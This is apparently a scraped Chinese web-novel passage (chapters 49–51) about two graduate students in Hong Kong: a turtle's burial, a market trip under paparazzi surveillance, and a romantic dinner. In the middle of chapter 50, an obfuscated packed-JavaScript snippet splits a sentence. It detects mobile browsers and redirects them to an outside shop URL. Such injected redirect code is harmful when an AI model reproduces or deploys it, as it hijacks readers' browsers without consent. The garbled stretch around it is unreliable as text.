组会结束后,史密斯几个直系的硕博生就一齐在校园某个角落里参加了小乌龟的葬礼。现场的氛围很肃穆,天空蓝得近乎透明,阳光从枝叶的缝隙落下来,落在每个人脸上,师兄师姐们都很坚强,唯有小初红了眼睛。 她实在内疚。 史密斯亲自在一棵拥有羽状叶子的凤凰木下挖了个坑,将小乌龟埋了。师姐把小花园里捡的花瓣洒在那个不起眼的小土包上,小初蹲下身去,把那杯苹果汁洒在了土里,虽然不知道为什么,但看起来,它生前应该是很喜欢吃苹果的。 史密斯脸色淡淡的,倒也没有特别不开心来给所有人压力,他只是挥了挥手:“都回去吧。” 大家默默散开。 经过这么一个小插曲,小初的心情有点阴郁,小乌龟的死让她莫名想起了丢丢,可是她还有一天的课,没有空白的时间留给她悲伤。 余萧弋这学期之前的那个暑假就已经写完了毕业论文,毕业年也不再有公共课安排,索性就这么陪了她一天,她上课,他读论文。 小初这才发现,他看论文时非常专注,并且……速度很快。台上的老师授课风格非常呱噪,他竟然可以做到丝毫不受影响,耳朵上耳机都没别,目光就那么一行一行地下去,并很快就翻了页。 阳光从侧面的玻璃窗斜斜穿进来,明明公平地普照着每一个人,却又不知怎么偏偏给他一个人镀了一层神圣不可侵犯的光,很迷人,也很帅。 也很让人嫉妒。 那么一大篇英文论文,混杂着复杂难懂的数学符号和模型,还有一些常人难以理解的逻辑推理和证明,她自认她已经算天赋异禀了,可这么一看,他怎么看上去比她还擅长做这一行? 下了课,小初就问他:“Theo余,博士阶段不能继续读数学你遗憾吗?” “还好吧。”他熄灭平板的屏幕,疲惫地揉了揉眉心,朝她笑笑,“我自认自己没那么高的天赋,只是比别人更勤奋和努力了一点而已。” 小初:“……” 余萧弋认真观察她神色,“怎么了?我说错话了?” 小初咬咬唇:“你说得我都无地自容了,我一直还觉得自己挺有天赋的呢,可我看你看论文比我速度还快。” 余萧弋这才失笑着揉了揉她的头发:“你当然比我有天赋!你们那个班型集中的几乎是全国最顶尖的数学人才了,凭良心讲,我也算是一路跳级读上来的,但肯定考不进你那个班。我看论文快那是因为我看得多,不然你以为我认识你之前的那么多年恋爱都没时间谈都在做什么?” “……” 这个家伙,还真是不放过任何可以向她表白心迹的机会啊。 小初开始收拾书包,准备带他离开这里了,免得他在这大放厥词。他不知道过分的谦虚就是一种自负吗? 两人走到室外。 一天的课终于结束了。过了秋分,白昼渐短 ,昼夜温差加大,天气逐渐转凉——这些都是北京那种温带季风气候才会显现出来的清晰变化,可这里是海洋性亚热带季风气候的香港,年平均温度都要二十几度,小初还没有感受到凉意。 只是感觉太阳落山的时间似乎真的比之前提早了很多。 两人站在凤凰木下,静静看了会落日熔金的人间盛景。 余萧弋突然说:“方太初,你要不要认真考虑一下史密斯的建议,毕业后再来这边做两年博士后?” “啊?”小初吃惊的不是他口中说出的这番话,而是,萧文然竟然都没有跟他说她家里的情况吗? “我是觉得,我这辈子大概只能庸庸碌碌成为K线图的奴隶了,但是只要你愿意,你还可以做一点你真心想做的事,钱和生活交给我,你只要做你自己就好。看得出来,你是真的有天赋并且也热爱这一行的,史密斯这边和国外一些大学和机构的科研条件比不了,但如果你不想离父母太远,或许也是个不错的选择。” 虽然有些荒诞,但不得不说,小初还是感动的。 毕竟就算她爸,在她长大后也已经没有再问过她将来要不要去航天局工作了。 “亲爱的。”小初踮起脚尖,在他脸颊上亲了亲,眼底逐渐蔓延出温柔,“那你努力哦,最好成立一支属于你自己的科研基金,将来我有项目的时候,好找你投资。” 她的唇碰上去的时候,明显感觉到了他身体在那一瞬间的僵直。 “你叫我什么?”他似是有点不敢相信,又问了句:“我没听错吧?” 小初只是笑,头顺势枕在他的肩膀上,呼吸若有似无撩拨着,“那,万一我们真的分了手,你还会投资我吗?” 余萧弋愣了一下,下一秒,已经将她拥入了怀中,似是怕弄疼她,他抱得倒不紧,反而有种小心翼翼捧着什么易碎品在手心的意味,“当然,我会永远为你的理想买单。” “真的?”小初的眼泪落在他的肩膀上,声音却是笑着的,“好,为了感谢小余总,我决定今晚亲自下厨做两道菜给你接风。” “你还会做饭?”余萧弋有点不太相信。 “当然。”小初的声音很轻,“我做饭很好吃的,你要不要,尝尝?” 余萧弋总感觉哪里有点不对劲,但又说不出来。 就这样抱了一会儿,他才慢慢琢磨出味道来,问她:“方小姐你是不是,食髓知味了?” 50.第 50 章 “什么食髓知味?”小初从他怀里抬起头来,眼神有一瞬间的迷茫,“跟吃的有关系?” 余萧弋愣了一下 ,也没答她,只是笑。 小初虽不理解词的意思,却立刻嗅出了不对的味道,斜睨他一眼,“准不是什么好词,你是不是在消遣我?你明知道,我的中文词汇量已经停滞在考上大学的那一年。” 说着就要掏手机出来查,却被余萧弋一把按住,语气温软,“走吧,先去菜市场好不好?我都饿了。” 小初决定先放过他。 余萧弋很感谢她的适可而止,一边走一边查询他家附近的菜市场分布图,只是去停车场的一小段路,他就打了好几个哈欠。 小初这才后知后觉:“余萧弋,你是不是还在倒时差?史密斯太过分了,今天应该给你放一天假的。再说,他自己受得了吗?都四十几岁的人了。” “教授有先见之明。”余萧弋笑着朝她眨眨眼,“他早三天就开始手动调整我们两个的生物钟了。” 小初的睫毛不可置信地颤了颤。 如果是这样,岂不是相当于他一整个星期的作息全是混乱的?白天那么紧凑的工作行程还要赶长途飞机,接着又马不停蹄来系里开会…… “很累吧?”小初不自觉挽住他手臂,认真思考了一下,说道:“不然我们还是随便外面吃点算了,你这个状态需要马上回家休息。” “不累。”余萧弋顺势将她的手抓在掌心,并一起揣进外套口袋,仿佛这样她就逃不掉了一样,“相信我,人在心里有期待的时候是不会感觉到累的。” 小初的手指摩挲着他口袋里的车钥匙扣,慧黠地看向他:“期待什么?” “期待回来见你呗。”他收紧手指,“这一个星期,你有没有特别想我?” 小初故意笑着摇头,“我哪有时间想你?史密斯这个魔鬼,给我布置一堆不可能完成的任务,实不相瞒,我做梦都在看论文。” “那除了做梦的时候呢?”余萧弋的表情有点受伤,“起床的时候,刷牙看见镜子里只有自己的影子的时候,感受阳光照在身上,风穿过头发,上下台阶,赶地铁,耳机里传来你喜欢的音乐的时候,在图书馆读论文,喝咖啡啃冷三明治看着别的情侣一对对从你身边走过的时候,发现一处美丽的风景,路过一家看起来很好吃的餐馆,独处时偶尔发呆,睡前关灯黑夜彻底降临的时候,都没有想起我吗?” 小初呆住,下一秒就勾住了那个编织的钥匙扣,嗔他:“停,余萧弋,你不许给我心理暗示啊,你想要我生活里都是你吗?任何东西浓度过量都会让人中毒的,好吧?” 余萧弋似是没想到她会这么答,身体僵了一下,才掐了掐她的脸:“可我在那些时刻都有想你。” “所以你大概已经中毒了。”小初没心没肺地笑笑,“我知道我很好,可你总要想想一年后没有我的太平洋彼岸你要怎么活下去吧?难道要人用绳子把你绑起来,强制戒断吗?” “方太初,你才是那个魔鬼吧?”余萧弋咬牙切齿。 小初灿笑,扬了扬手中的车钥匙,“就算是,我也是个有温度的魔鬼,所以我决定由我来开车,载你去菜市场,你可以趁机睡一会。” 说完她就按动了钥匙,并贴心地帮他打开副驾驶的车门,调皮地挑了挑眉,“请吧,小余总。” 余萧弋无奈地看她一眼,还是从善如流地坐了进去。 小初这才绕过车尾,打开驾驶位的门,轻盈地落了座。 可还没等她开始调节座椅,整个人就被余萧弋扯进了怀里,他把他的下巴枕在她的颈窝里,半晌都没有说话。小初半点没敢动,生怕破坏了这一刻的氛围。 风把一片不知何故从树枝上脱落的绿色枫叶吹到车顶的全景天窗上,三裂掌状的枫叶很少见,她凝住视线。 “方太初,你不会害我们被警察叫去喝茶吧?” 余萧弋的声音隔着几层布料,听起来闷闷的。 “什么意思?”小初没懂。 “大陆的驾照不能在这直接用。” “……”小初将他的头摆正到副驾驶的座椅靠枕上去,利落扣上安全带,“那你现在可以开始考虑你喜欢什么口味的茶了。” “阿sir还会这么好心提供茶的口味选择吗?” 小初启动发动机,脚尖轻点油门,“或者你也可以告诉我你喜欢什么口味,我帮你带过去。” “那我要一杯浓烈的玫瑰普洱。” 小初轻哼,“得寸进尺。” 余萧弋单手撑着头,困意消失,聊天的兴致却渐起,“什么时候拿的国际驾照?” “拿到驾照就去申请了,反正就是个翻译件,也没什么难的,怎么了?”小初控制着方向盘,发现他这车还挺好开的。 “没怎么,平时用得多吗?” “还行吧。”小初仔细回忆了下,上次在境外开车好像还是载她爸妈去美国一个户外射击俱乐部,也是奇怪,她爸妈那样完全不同的两类人,却也可以在某些方面令人匪夷所思地契合。 大概每对夫妻都有他们相处的秘诀吧。 “方太初,有时候想想,我好像一点都不了解你。” 红灯亮起,小初将车子刹停,转过头看向他,“你想了解什么,现在就可以问。你爸妈那天没跟你说起我们家的情况,顺便跟你分析分析我吗?不然他们怎么说服你我们俩不合适,总要有个理由吧?” “没说。”余萧弋的目光漫不经心地落在她眼底,“我也不太想从别人嘴里了解你,因为别人的意见往往掺杂了他们的主观想法,我只想自己探索,或者,由你来告诉我。” 小初再次启动车子,忍不住笑,“我嘴里的自己也未必真实啊,你就没想过我可能骗你吗?人为了美化自己,多少都会说点谎话的。” “那你骗我吧。”余萧弋也笑,“骗我你爱我,不同意一年后分手,会认真考虑史密斯的建议,四年后来港,我们结婚。” “结婚?”小初的语气甚至染了怜悯,“余萧弋,你先告诉我,你为什么这么可爱?你总给我一种错觉,你是本世纪最后一个还深信爱情有存在意义的人了。” “你不相信吗?” “我相信任何东西都有它存在的意义。”小初将车子稳稳停在路边,隔着往来人群看向对面的菜市场,问他:“所以你们这边菜市场叫街市?” “嗯。”余萧弋用粤语说了一遍。 “街市。”小初重复着,然后无比明媚地朝他眨眨眼,“其实东北话的街也是Gai,我奶奶说上街就说上Gai,你看,这一南一北这么远,竟然也有互通的地方。” “都是中国人,几千年都受着同一种文化的熏陶……你别转移话题。”余萧弋的目光逐渐认真,“来,骗骗我。” 小初收回手,解开安全带,叹口气,“别这样余萧弋,我并没有你想象的那么喜欢你。” 在他的怔愣中,她已经推开车门,跳下了车。 足足过了半分钟,那个傻子才推开副驾驶的门跟上来。他走到她身边,声音有些脆弱,“你说的是真的吗?” 小初看着那些拎着塑料袋从菜市场里走出来的路人,语气漫不经心的,“刚才那句吗?骗你的。” “真的?”余萧弋好像才明白过来,将她的脸转向自己,有些语无伦次,“我是说,你说骗我的这句是真的?” 小初的目光没有闪躲,就那么直白地让他感受着她的心情和温度。离分手期还很远,她放纵着自己此刻的沸腾。 分开这几天,她的确每天都很想他。 很想很想。 她大概也中了他的毒,有一天也要强行戒断才行了。 “哪句真哪句假你自行判断,怎么理解,都是你的自由。”小初笑,已经准备拖他一块过街,不想话音一落,人就猝不及防被他抵在了车窗上含住了唇。 这一次,他来势汹汹,像是某种极致的思念已经不得不用这种方式表达,小初本能瞪大眼睛,落日的余晖越过山脊映过来,将他的睫毛在脸上投射出两片羽状的影子,整个画面令人醉心般美丽,她有些恍惚,还没想好怎么回应,他已停下来,捧住她的脸。 “就是说,你比我想象的还要喜欢我。” 他的声音低沉而蛊惑,小初和他额头抵着额头,一颗心浮浮沉沉,感受着他眼里的光。 已然忘了他们不是在私密的小世界,而是在人来人往的大街上。 更浑然未觉,就在离他们不远的地方,某个长焦镜头正在灌木丛的掩映下肆无忌惮地偷拍。 “少自恋。” 他的呼吸有些痒,小初笑着别过头去。 在她看不见的视角里,沐浴在金色的光辉中的她肤色晶莹,身段曼妙,圣洁中又带着少女的明媚和灵动,让人根本移不开眼。 “妈的。”灌木丛里其中一人忍不住骂了句,“这世界果然是有钱人的。” 另一人的声音还算淡定,“又不是第一天做这行,多少女明星都拍过,至于反应这么大?” “女明星哪个敢当街和男人这么亲密?” “所以这一位的资料还没查到?不是女星或者网红?” 男人嗤笑一声,“只查到是内地来的女学生,背景不详。我在学校里已经跟了她一个星期,发现她除了上课就是图书馆看书,无聊乏味到爆,身上的行头加起来也超不过一两千蚊,大概率就是个出身低微的土包子,要不是这张脸,怎么可能入余少的眼。” 另一人不停按着快门,“他们好像要过马路了,车停在这,是去买菜?” “管他呢,先跟上再说。”又忍不住抱怨,“也不知头让我们拍她做什么,这种玩物,余淙淙不过三个月就要换一个。” “你懂什么!”男人收起相机,眼底都是灼灼的光,“传闻余绍鸿和船王杨镝英正准备联手进军欧洲能源市场,在这个关键时刻,我们不送道前菜帮他们开开胃,就是我们不懂事了。” “你是说……”那人怔了一下,“这一位被许给了杨家?” “谁知道呢,不过,余绍鸿为了那个劣迹斑斑的儿子,不惜推两个看起来清白无辜的孙子出来转移视线,你猜,公众要是发现其实叔侄是一路货色……” * 小初惊讶发现香港的菜市场好多东西竟然是按个或者份卖的,比如五个奇异果,一捆青菜,两份小鱿鱼什么的。 市场里还有很多卖熟食和小吃的档口,各种烧麦,炸鱼蛋,狗仔粉,炸鸡腿,烧猪手,卤水大肠,拌凉菜,云吞面……简直让人目不暇接,满满都是烟火气。 小初突然觉得或许直接在这吃饱是个更好的选择,早知道她就不事先把大话说出去了。 “余萧弋。”小初想起件事来,“你之前来过这种地方吗?” “没。”余萧弋坦诚,笑着指了指旁边摊位的一捆绿叶菜,“我估计我是我们家三代人里第一个见过活的香菜长什么样子的了。” 小初有些无语,“哥,它都躺这了,还怎么活?而且……”她仔细辨别了一下,“香菜哪有这么大棵,这明明是芹菜吧?” “芹菜?”余萧弋俯身闻了闻,“可味道好像不太对。” 摊位老板看这俩人在她的摊位前对着她的菜指指点点半天也没有买的意思,终于不耐烦,一把立起倒下去的菜牌,“先生小姐,有什么需要吗?” 没有需要就给我走开,别在这挡着我做生意。 余萧弋和小初同时瞪大眼睛看向上面的字,这才发现原来这是——西洋菜? “西洋菜是什么菜?”小初努力回想,却怎么都没想起来自己在哪吃过它。 “西洋菜……”余萧弋这次信心满满,“好像是一种涮火锅的菜,我之前吃过,没错我绝对吃过。” 小初表示怀疑,“你刚还说它是香菜。” “方太初,你是不是也没来过这种地方?”余萧弋坏笑,“我感觉咱俩水平差不多,就别五十步笑一百步了。” “我……我当然来过!”小初不服气,她之前,虽然是很多年前,也是陪姥姥逛过菜市场的好吧,谁像他这样没有生活常识。 “Theo余。”她轻笑,“就这样你还好意思说自己十八岁开始就独立生活,灯泡坏了自己换,水管开花自己修?你家卫生都是工人姐姐帮忙做的好不好?我猜,你根本没在家里开过火吧?” “谁说的?”余萧弋极力澄清,“微波炉和烤箱我还是用很多的吧,虽然仅限于加工简餐。”他声音逐渐低下来,“可你不觉得太复杂的菜式,还是外面吃更方便吗,做饭好浪费时间。” 小初笑,“幸亏咱俩不用结婚。不然你绝对过不了我爸那一关,我们家男的都会做饭,尤其我爸,当初就是靠一手好厨艺征服我妈妈的,你要知道,我妈可是个煮清水面条都会忘记放盐的女人。” 话还未说完,嘴就被余萧弋用掌心覆住,“不许胡说,会应验的。” 他冷脸,眼底逐渐破碎。 小初不说话了。 他又说:“菜谱总不会难过《数学年刊》上的论文吧?我可以学。” 小初越过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482298|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手掌边缘看向他,心情突然说不出的难过,仿佛穿越到了将来的某个身不由己的时刻,也只能这样与他相顾不能言。 命运的齿轮不停转动,将所有人席卷其中,对于结果,他们都无能为力。 还是享受当下吧。 最后碍于两人的厨艺水平,他们只克制地买了几样菜还有一些现成的熟食,秉承着尽量不开火就能简单应付的原则——鱼和排骨可以腌制好同时丢进蒸箱,菜心水煮淋蚝油,虾可以白灼,唯有那个西洋菜,小初在手机上查了菜谱,说是和瘦肉煮汤很好喝,她对此存疑,主要那个菜长得就不像和好吃有关的样子。 走出菜市场的时候,两人手里都拎了满满几大袋,除了菜肉,还有鲜花和水果。 这种鲜活的生活气息令人着迷,目光对视,像某种默契似的,余萧弋突然开口,笑得极为骄傲,“你看,我就说也没有很难。” 小初嘁了一声,骂他轻浮,看见漂亮女孩子就要追求,就要和人家结婚,也不知道他多巴胺消失时会如何残酷无情。 “我哪敢!”余萧弋大呼,“你方太初岂是我想要就要不想要就不要的人?” “知道就好!” 两人穿过街道,向车边走去。 长焦镜头仍在咔嚓,只是声音被往来车流掩盖。 小时候小初看见父母在厨房里忙活,潜意识里总觉得买菜做饭是成年人才有的特权,有次她实在好奇去拧煤气的开关,差点把她爸吓死,后来的好多年,都被他明令禁止踏入厨房半步。 还好她妈妈心态松弛,总是趁方协文不备教她各项生活技能,比如开关煤气,烧开水,煮清水面条,打荷包蛋。 小初后来想,她妈大概已经把毕生所学都教给她了。 女神只会煮个不加盐的清水面条也自有各式优秀男人围上来大献殷勤,谁想到她这儿时代变了,社会上开始主张男女平权,双方都不再讨好别人,都更专注爱自己。 艾琳的姐姐姐夫也是从校服到婚纱,本来婚前吃吃食堂点点外卖也挺幸福的,结果婚后没多久就开始为谁做饭谁洗碗,谁擦地板谁晾衣服这样的琐事大吵特吵,还没过上一年,就分道扬镳了。 小初因此特别感谢黄亦玫,将来万一她也找了个不懂体贴还斤斤计较的丈夫,至少可以靠清水煮面条喂饱自己。 她唯一需要记住的,就是加盐时要先从半勺开始,过犹不及。 “帮忙拿钥匙开下后备箱。” 余萧弋东西拎得多腾不开手,示意小初,“钥匙在我裤子口袋。” 小初歪头看他,“什么时候跑回到你手里的?” 余萧弋理直气壮,“你给我的你忘了?” 小初仍有些犹豫。 “放心,离得还很远。” 小初倏地看向他,脸红了一片,这男人在放什么厥词?什么叫还很远,离什么东西很远? “余萧弋,你给我闭嘴。”小初没好气的,像是为了证明自己没多想似的,利落摸进去,还好他口袋不算深,里面也没别的东西,她一下就勾住了钥匙上的编织绳,下一秒,后备箱的车门已经缓缓弹起。 两人放好东西返回车内,小初仍抱着鲜花,突然想起件事来,他们家好像没有插花的花瓶。 “你等我一下。”余萧弋越过降下玻璃的车窗,在她脸上亲了亲,“马上回来。” 小初疑惑,“干什么去?” 话没说完,他人已经过了街。 小初将下巴伏在交叉的双臂上,远远地,看见他在一棵榕树下停了下来,开始和一高一矮两个其貌不扬的男人攀谈。 也不知他们都说了什么,两个男人频频点头,又递烟过去,余萧弋倒是气定神闲,哪怕隔了这么远,她仍可以清晰感受到他高智感和矜贵之气。 和在她面前的那个他完全不同,这样的他莫名的陌生,她看了一会儿,竟不由自主地生出惧意来,又或者说,被他那个睥睨万物的姿态给惊到了。 她但愿他们之间永远不会翻脸,就算分手,也能好聚好散。 这番谈话没花费太久时间,小初看向天边,太阳已沉沉西落。余萧弋大步赶回车边,一边走一边掐灭了手里的烟,扔进了垃圾桶。 打开车门的第一句话,他问的就是,“我身上没有你讨厌的烟味吧?” 小初摇头,“还好。”又问,“那两人是谁?” 余萧弋从口袋里掏出一张名片,放在中控台上,启动发动机。 小初低头去看,眼底瞬间被惊愕填满,“竟然是报社的?” 余萧弋苦笑着点点头。 “你怎么发现的!”小初仔细回想了一下,发现她从始至终都未察觉到任何异常。 “从小就学会的自我保护经验,只不过那时候治安还没现在这么好,每次出街提防的不仅是长焦镜头,或许还有枪和匕首,以及路口突然出现的不明面包车。”余萧弋云淡风轻,“不过不用害怕,现在当街绑架这种事大概就只有动作电影里有了。” 小初说不出话,心底又有种说不清道不明的滋味,她仔细体会了一下,那个滋味,似乎可以叫作心疼。 接下来的半程,她都在怔怔看他的侧颜,在她心底见不得光的执念里,似乎这样就可以将他永远印在心底,然后又忍不住庆幸,庆幸他小时候没有遭遇任何不测,有好好健康平安地长大,否则,她和他连此刻宁静的相处也不会有了。 如果是那样,她会怎样? 毋庸置疑,她会遇到另一个也不算赖的人。 只是再也不是他了。 小初被自己这个念头吓了一跳。 “在想什么?” 余萧弋的声音一下子将小初拉回现实。 “没什么,我在想,你家里好像没有花瓶。” “不怕。”余萧弋笑着揉了揉她的头发,“你忘了?酒柜里那瓶六千美金的香槟?干脆,我们今晚就喝掉它,刚好……” 接下来两人异口同声:“空瓶用起来比较顺手。” 说完,车内就充满了笑声,所有疲惫和阴霾一扫而光。 小初忍不住抓过他的手,这一刻,她无比感动,身边的人是他,不是任何一个只是不算赖的男人。 “你跟报社的人说了什么?”她还是没忍住好奇。 “我说,照片记得今晚发我邮箱,其他的,公关人员自会去找他们谈。但如果两位的摄影技术太烂导致我女朋友不满意,他们就死定了。” “……”小初呼吸一滞,“我多谢你。” “唔使客气。” 51.第 51 章 小初和余萧弋都是擅长用数据和逻辑拆解问题和做决策的人,这一点似乎注定了他们在生活上的契合。 比如,两人虽然都没有什么下厨经验,但对菜谱的理解和执行能力以及统筹时间的能力却强得惊人,一个洗菜切菜的时候另一个就调制料汁、预热蒸箱,一个看着汤锅的时候另一个已经处理好虾线并顺手收拾好了厨余垃圾。 以至于进门还不足三刻钟,晚餐就按照预想摆上了餐桌。 余萧弋打开香槟,瓶口倾斜,浅玫瑰红的液体流淌出来,气泡不断升腾,膨胀,消解,酒香蔓延,还没喝,人就已经醉了三分。 “方太初,你看,咱俩多适合在一块生活。” 小狗和小兔子一直围在他们的腿边打着转,港港已经可以听懂一些简单的人类指令,比如每次喊它名字,它都会蹦跶着跳进人的怀里,像一只不知何时产生了自主认知的大号玩具,可爱又治愈。 小初帮港港系紧耳朵上的蝴蝶结缎带,抬眸看他一眼,没反驳。 因为确实适合。 餐桌上方的极简吊灯将两个人都笼罩在光影之中,整个世界都因此而变得温柔。 余萧弋问:“你不拍张照留个纪念吗?这可是我们第一次一起做饭。” 小初从善如流,拿过手机将这一刻定格,只是没特别拍菜,拍的是柔软又男友感满满的他。 “我看看。”余萧弋凑过来,下一秒就斜起了嘴角,“把我拍得这么好看,是准备发朋友圈吗?” 小初轻哼:“我朋友圈文然阿姨可以看到,真发了算不算一种挑衅?” 余萧弋循循善诱,“那不然,你挑衅一个试试?说不定会有意想不到的效果。” “你少害人。”小初瞪他一眼,“你是想她以后都讨厌我吗?” “都说了她不讨厌你。再说……”他顿了顿,“你又不打算和我结婚,那么在乎她干什么?” 小初心头一刺,从盘子里拿起一瓣橙子塞到了他嘴里,“你少说话,我头疼。” 余萧弋慢慢放下酒瓶,也不生气,反而大大方方就着她的手把橙子吃了。 小初别过头,玄关衣架上她前一段买给他的毛衣和外套却意外撞进视线,她愣了愣,然后才想明白他这是把它们穿去美国了。 “纽约冷吗?” 余萧弋没吭声。 小初疑惑地看他一眼,“问你话呢,没听见啊。” 余萧弋有些委屈,“你不是让我少说话吗?” 小初无语,“我是让你说点我喜欢听的。” “那……我真说了你又不高兴。” 小初被气笑,自顾自喝了一口酒,“你说说看,我再决定生不生气。” “纽约还是有点冷的,大概跟今年的北京差不多。我看了天气预报,最近寒流来袭,华北地区大幅度降温,你过两天回去的航班定了吗?” 小初微妙地看了他一眼,如实答道:“还没。” “那……”余萧弋碰了下她的杯子,“要不我来买?刚好,我还没感受过北京的秋天。” 小初怔了怔。 他的意思是,要陪她回北京? “可以吗?” “你不怕我爸?”小初想了想方协文那张不怒而威的脸,忍不住替他哆嗦了一下。 余萧弋挑眉,“我想挑衅一个试试。” “……”小初伸手拍了拍他的脸,“你已经很挑衅了,好吗?”她这么胆大妄为,都有点怕她爸知道她不顾他反对也要招惹姓余的人时的反应呢,他哪来的勇气? “可以吗?” 小初没同意也没拒绝,只说:“先吃饭,你容我想想。” “好,你慢慢想,机票我慢慢看。” 晚餐比他们想象的还要成功。 成功到甚至让他们产生了错觉,好像做饭这事和天赋也没什么关系,只需要按照菜谱完全标准化配比就行,无论食材调料还是火候。 总之今天这几道菜的味道竟意外都还不错,尤其那道西洋菜瘦肉汤,着实令人惊艳。 饭吃过半,小初才想起厨房醒着的花,感慨道:“本来还指望你这酒瓶插花呢,可这么一看,这酒咱俩今天也喝不完。” “这个好办。”余萧弋立刻起身,“家里好像有醒酒器,我把酒倒出来,酒瓶送你。” 却被小初一把拉住手臂,“哎,何必那么麻烦?我们干脆就用醒酒器做花瓶不是更方便?” 余萧弋垂眸,讶然地看她一眼。 她是他长这么大见过的最特别的女孩,他简直不敢去想,失去她,他还能去哪找另外一个处事如此理智随和的完美女友。 “怎么了?”小初在他眼前晃了晃手指,“愣什么神呢?” “没,只是觉得你还挺随遇而安。” 小初笑出声,“少啰嗦。” 余萧弋从柜子里找出醒酒器,小初略微估算了一下花茎该留的长度,几剪子下去就完成了她的作品,小雏菊和太阳花盛在透明容器里的样子明亮至极,看着就让人心情大好。 “方小姐,你有这技术不开花店真是浪费了。”余萧弋揶揄。 小初挑了挑眉:“你记住,聪明人做什么都是又快又好。”她举起杯子,“怎样,要不要改天我帮你剪剪头发?也不要你105刀和服务费,我给你打个八折。” 余萧弋满脸拒绝,“谢谢,真不需要。” 小初大笑。 两人频频举杯。 这款香槟的风味很好,带着明显的草莓和覆盆子的水果香,隐约还透着辛香料和矿物的气息,让人欲罢不能。 小初看了看杯子里澄澈的液体,感慨:“我还以为香槟都是浅金色的呢,原来也有深色的。” 余萧弋解释:“白中白和黑中白的分别,浅金色和禾杆黄的口味通常轻盈一点,桃红或玫瑰红的就馥郁饱满一点。” “原来是这样。” 小初喝了两个大半杯,还想要更多。 余萧弋没给她倒酒,反而认真解释了一句,“这个就叫食髓知味,懂了吗?” 小初喝多了酒有点懵,“不太懂。” “就是说。”余萧弋轻咳一声,“一个人一旦在某件事上尝到了甜头,就会沉迷上瘾,就会渴望更多,你……后来有没有?” 小初反应了一会儿才明白他在说什么,忽地红了脸,用手指他,眼尾都是潋滟的桃花色,“余萧弋,你真的很挑衅了。” 他却笑着捉住她的手指,逐渐靠近,“所以,到底有没有?” 小初不看他,只是用另一只手拿过酒杯,挡住他的唇,“你好烦。”又说,“我们这样,不结婚是不是很难收场?” 这下轮到余萧弋愣住。 他仔细品味了下她的话,唇齿间逐渐被苦涩充斥。 “两个理性的人爱得太感性和热烈结局恐怕……”小初怕不好的话会应验,倏然缄口,“我们需要冷静期。” 余萧弋松开手,静了半晌才说,“方太初,很多人说酒是止痛药,于你,算吗?” “我?”小初摇头,脑子里已经有摩天轮在旋转,微醺的感觉很舒服,“不算吧,我不痛苦。” 她认真想了想,“偷偷跟你说,我是世外的一座小岛,从小得到的都是极大丰富的爱和自由,所以人物有点扁平,又不穷,又不惨,就缺了点张力和救赎感。” 余萧弋被她的论调逗笑,他喝了口酒,“你要这么说,咱俩差不多,都属于没有层次感的那一类。” 没有层次感…… 他好会形容! 小初的表达欲被他激发出来,杯子在他面前晃了晃, “再给我倒半杯酒好不好?” “不好。” “三分之一杯也行。” 余萧弋按住她的杯子,“你醉了。” 小初有点不服气,“你胡说,我现在明明清醒得很。” 余萧弋:“好,那你现在告诉我你有多清醒。” 小初愣住,“清醒怎么自证?” “你为什么一点不考虑史密斯的建议来港工作和生活?年薪六七十万,应该也还可以了。” 小初挑了挑眉:“不行,我有别的项目,要比这个赚钱得多。” 余萧弋追问,“什么项目?” 小初摆手,“不可说。” 余萧弋眯了眯眸子,问她,“跟我还有什么是不能坦诚的吗?” 小初抿抿唇,“不是不能坦诚,是没什么好说的。” 余萧弋知道今天是不会从她嘴里问出什么了,也就没再坚持,而后他又想起另外一件事来,“你那天和余萧泽在影音室唱的什么歌,今天能不能给我也唱唱?” “那首歌不适合唱给你听。”小初起身,撒娇似的从他身侧拿过酒瓶,又给自己倒了半杯,在余萧弋反应过来之前,她已经灌了大大一口下去,杯沿离开,她的唇色也被染成了诱人的玫瑰色。 余萧弋呼吸瞬间紊乱了节奏,瞳孔中心是他自己都没意识到的幽深。 “为什么?” “因为那首歌是唱给分手的恋人的。《if you》,如果是你,听名字也很容易判断歌词写的什么吧?不过……”小初笑,“我倒是可以给你唱下另外一首《Spring snow》”,又问他:“你的电子琴还可以用吗?” 余萧弋很是意外:“你会弹?” 小初弯起眼角,“一点点,不深究可以听。小时候学过两年,但后来实在没兴趣又觉得浪费时间,就放弃了。我爸妈因此还遗憾了一阵,因为我妈钢琴弹得特别好,谁想到,我一点没遗传。”又问他,“你小时候是怎么坚持的?” 余萧弋笑,“你要是我,看在钢琴老师那么贵的份上,也会认真练习的。” 小初走到客厅,把酒杯放在电子琴上方的置物架上,开始对着手机屏幕上的琴谱试弹,只是试了几次都不算很顺畅,她也不不急,只是笑,笑容因醉酒有些迷离,“我这视奏能力真不行。” 话音一落,她就感觉琴凳的海绵塌陷下去了一块,原来是余萧弋挨着她坐了下来,“我帮你弹主旋律,你弹伴奏。”他引导着。 小初点头。 伴奏只是几个重复的音阶,瞬间简单很多,但她依旧弹得很认真,因为,只要一分心,透过布料传来的他的体温就会显得太灼热,他们挨得太近,这个姿势倒像她被他拥在怀中。 小初的声线果然和情歌很适配,以至于她还没唱到那句最动人的“ Cause I''m falling slowly love with you ”,浪漫就充斥了整个房间。 最后一个音符休止,余萧弋已经就着这个姿势吻了过来。 他这次吻得很温柔,没有任何侵略性,却又像夏天水汽氤氲的海,温柔而潮湿。 小初感觉自己逐渐被海水包围,整个人开始浮浮沉沉,溺毙前的窒息带来是势不可挡的愉悦和渴望,她不由自主抓住了他衣服的下摆。 或许是酒精作祟,她的感官已经彻底失调,脑子里的摩天轮开始疯狂旋转,世界变成了一个多彩而绚烂的絮状物,缠绕着她,包裹着她,也拉扯和侵入着她,天空开始下金箔雨,她仰着头,欣然接受了一切。 “方太初。” 